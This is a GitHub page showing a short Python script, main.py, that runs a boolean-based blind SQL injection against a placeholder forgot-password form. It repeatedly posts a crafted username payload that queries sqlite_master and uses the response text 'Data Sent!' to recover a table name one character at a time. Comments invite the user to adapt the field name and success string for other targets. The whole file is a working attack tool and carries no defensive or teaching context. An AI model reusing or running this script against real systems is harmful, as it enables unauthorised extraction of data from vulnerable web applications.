-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
27 lines (24 loc) · 935 Bytes
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
s = requests.Session()
query = "' or UNICODE(SUBSTR((SELECT name FROM sqlite_master WHERE type='table'),{},1)){} {}--" #Set query
url = "https://vulnable.webpage.com/forgotPassword.php" #Set URL
charSeaching = 1
interval = 0
finished = False
while not finished:
for i in 44, 56, 68, 80, 92, 104, 116, 128:
req = s.post(
url, data={"username": query.format(charSeaching, "<", str(i))}) #Replace "username"
if "Data Sent!" in str(req.text): #Replace "Data Sent!"
interval = i
break
for i in range(interval-12, interval):
req = s.post(
url, data={"username": query.format(charSeaching, "=", str(i))}) #Replace "username"
if "Data Sent!" in str(req.text): #Replace "Data Sent!"
charSeaching += 1
finished = False
print(chr(i), end="")
break
else:
finished = True